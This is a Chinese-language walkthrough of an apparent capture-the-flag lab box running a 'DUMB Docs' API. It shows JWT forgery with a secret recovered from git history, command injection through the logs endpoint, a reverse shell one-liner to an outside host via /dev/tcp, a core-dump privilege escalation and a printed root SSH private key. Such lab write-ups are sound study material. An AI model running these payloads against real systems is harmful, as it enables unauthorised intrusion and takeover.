基本信息
端口扫描 22,80,3000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ nmap -sV -sC 10.10.11.120 Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-03 14:27 CST Nmap scan report for 10.10.11.120 Host is up (0.078s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA) | 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA) |_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: DUMB Docs 3000/tcp open http Node.js (Express middleware) |_http-title: DUMB Docs Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 47.35 seconds
80 live demo是api,也提供有源码下载:
3000 看起来和80一样:
代码分析 有git,git log里看到安全相关信息,回滚去查看内容,得到TOKEN_SECRET:
1 2 3 4 5 git reset --hard de0a46b5107a2f4d26e348303e76d85ae4870934 $ cat .env DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web' TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
代码中jwt验证使用这个token secret:
注册 根据代码,注册用户:
1 curl -X POST -H 'Content-Type: application/json' http://10.10.11.120/api/user/register --data '{"name": "miaomiao","email": "miao@miao.com","password": "123456"}'
登录 登录请求也同样:
1 2 curl -X POST -H 'Content-Type: application/json' http://10.10.11.120/api/user/login --data '{"email": "miao@miao.com","password": "123456"}' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgyMmY5MzQzZjlmMDA0NWVjZDIxNmUiLCJuYW1lIjoibWlhb21pYW8iLCJlbWFpbCI6Im1pYW9AbWlhby5jb20iLCJpYXQiOjE2MzU5MjE5MDB9.b7kefpccSt5L1FoQqO6ePzZgL0Px_9ojpdpH25nVmR8
private 根据代码,priv验证admin,我们注册的是普通用户:
1 curl http://10.10.11.120/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgyMmY5MzQzZjlmMDA0NWVjZDIxNmUiLCJuYW1lIjoibWlhb21pYW8iLCJlbWFpbCI6Im1pYW9AbWlhby5jb20iLCJpYXQiOjE2MzU5MjE5MDB9.b7kefpccSt5L1FoQqO6ePzZgL0Px_9ojpdpH25nVmR8'
JWT 所以我们需要伪造JWT,修改用户名为theadmin:
1 2 3 python3 ~/Tools/jwt_tool/jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgyMmY5MzQzZjlmMDA0NWVjZDIxNmUiLCJuYW1lIjoibWlhb21pYW8iLCJlbWFpbCI6Im1pYW9AbWlhby5jb20iLCJpYXQiOjE2MzU5MjE5MDB9.b7kefpccSt5L1FoQqO6ePzZgL0Px_9ojpdpH25nVmR8 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgyMmY5MzQzZjlmMDA0NWVjZDIxNmUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1pYW9AbWlhby5jb20iLCJpYXQiOjE2MzU5MjE5MDB9.qOT4UvOod18YKpBrqhxIte_0Jr2eShDAMiMmf2P2vY0
priv 现在我们是admin:
1 curl http://10.10.11.120/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgyMmY5MzQzZjlmMDA0NWVjZDIxNmUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1pYW9AbWlhby5jb20iLCJpYXQiOjE2MzU5MjE5MDB9.qOT4UvOod18YKpBrqhxIte_0Jr2eShDAMiMmf2P2vY0'
命令注入 同样是代码中找到接口,routes/private.js里,明显的命令注入,这个要最新代码,之前找token reset过的需要还原回来:
1 curl 'http://10.10.11.120/api/logs?file=;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgyMmY5MzQzZjlmMDA0NWVjZDIxNmUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1pYW9AbWlhby5jb20iLCJpYXQiOjE2MzU5MjE5MDB9.qOT4UvOod18YKpBrqhxIte_0Jr2eShDAMiMmf2P2vY0'
shell & user flag 1 curl "http://10.10.11.120/api/logs?file=;bash%20-c%20'exec%20bash%20-i%20%26%3E/dev/tcp/10.10.14.4/4444%20%3C%261'" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgyMmY5MzQzZjlmMDA0NWVjZDIxNmUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1pYW9AbWlhby5jb20iLCJpYXQiOjE2MzU5MjE5MDB9.qOT4UvOod18YKpBrqhxIte_0Jr2eShDAMiMmf2P2vY0'
提权信息 suid发现/opt/count
1 find / -type f -perm -u=s 2>/dev/null
opt目录中提供代码,根据代码,启用了coredump,可以利用这一点:
code.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <dirent.h> #include <sys/prctl.h> #include <sys/types.h> #include <sys/stat.h> #include <linux/limits.h> void dircount (const char *path, char *summary) { DIR *dir; char fullpath[PATH_MAX]; struct dirent *ent ; struct stat fstat ; int tot = 0 , regular_files = 0 , directories = 0 , symlinks = 0 ; if ((dir = opendir(path)) == NULL ) { printf ("\nUnable to open directory.\n" ); exit (EXIT_FAILURE); } while ((ent = readdir(dir)) != NULL ) { ++tot; strncpy (fullpath, path, PATH_MAX-NAME_MAX-1 ); strcat (fullpath, "/" ); strncat (fullpath, ent->d_name, strlen (ent->d_name)); if (!lstat(fullpath, &fstat)) { if (S_ISDIR(fstat.st_mode)) { printf ("d" ); ++directories; } else if (S_ISLNK(fstat.st_mode)) { printf ("l" ); ++symlinks; } else if (S_ISREG(fstat.st_mode)) { printf ("-" ); ++regular_files; } else printf ("?" ); printf ((fstat.st_mode & S_IRUSR) ? "r" : "-" ); printf ((fstat.st_mode & S_IWUSR) ? "w" : "-" ); printf ((fstat.st_mode & S_IXUSR) ? "x" : "-" ); printf ((fstat.st_mode & S_IRGRP) ? "r" : "-" ); printf ((fstat.st_mode & S_IWGRP) ? "w" : "-" ); printf ((fstat.st_mode & S_IXGRP) ? "x" : "-" ); printf ((fstat.st_mode & S_IROTH) ? "r" : "-" ); printf ((fstat.st_mode & S_IWOTH) ? "w" : "-" ); printf ((fstat.st_mode & S_IXOTH) ? "x" : "-" ); } else { printf ("??????????" ); } printf ("\t%s\n" , ent->d_name); } closedir(dir); snprintf (summary, 4096 , "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n" , tot, regular_files, directories, symlinks); printf ("\n%s" , summary); } void filecount (const char *path, char *summary) { FILE *file; char ch; int characters, words, lines; file = fopen(path, "r" ); if (file == NULL ) { printf ("\nUnable to open file.\n" ); printf ("Please check if file exists and you have read privilege.\n" ); exit (EXIT_FAILURE); } characters = words = lines = 0 ; while ((ch = fgetc(file)) != EOF) { characters++; if (ch == '\n' || ch == '\0' ) lines++; if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0' ) words++; } if (characters > 0 ) { words++; lines++; } snprintf (summary, 256 , "Total characters = %d\nTotal words = %d\nTotal lines = %d\n" , characters, words, lines); printf ("\n%s" , summary); } int main () { char path[100 ]; int res; struct stat path_s ; char summary[4096 ]; printf ("Enter source file/directory name: " ); scanf ("%99s" , path); getchar(); stat(path, &path_s); if (S_ISDIR(path_s.st_mode)) dircount(path, summary); else filecount(path, summary); setuid(getuid()); prctl(PR_SET_DUMPABLE, 1 ); printf ("Save results a file? [y/N]: " ); res = getchar(); if (res == 121 || res == 89 ) { printf ("Path: " ); scanf ("%99s" , path); FILE *fp = fopen(path, "a" ); if (fp != NULL ) { fputs (summary, fp); fclose(fp); } else { printf ("Could not open %s for writing\n" , path); } } return 0 ; }
coredump & root flag 需要两个shell,一个运行count去读root.txt,选择保存结果到文件,不输入路径,另一个shell里kill -bus掉count,产生coredump:
之后解析crash文件,其中coredump文件存在相关内容
1 2 3 4 mkdir /tmp/miao apport-unpack _opt_count.1000.crash /tmp/miao cd /tmp/miao strings CoreDump
root_id_rsa 同样的方式获取root用户ssh私钥:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 -----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY-----
参考资料
Last updated: 2022-03-28 15:05:58
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会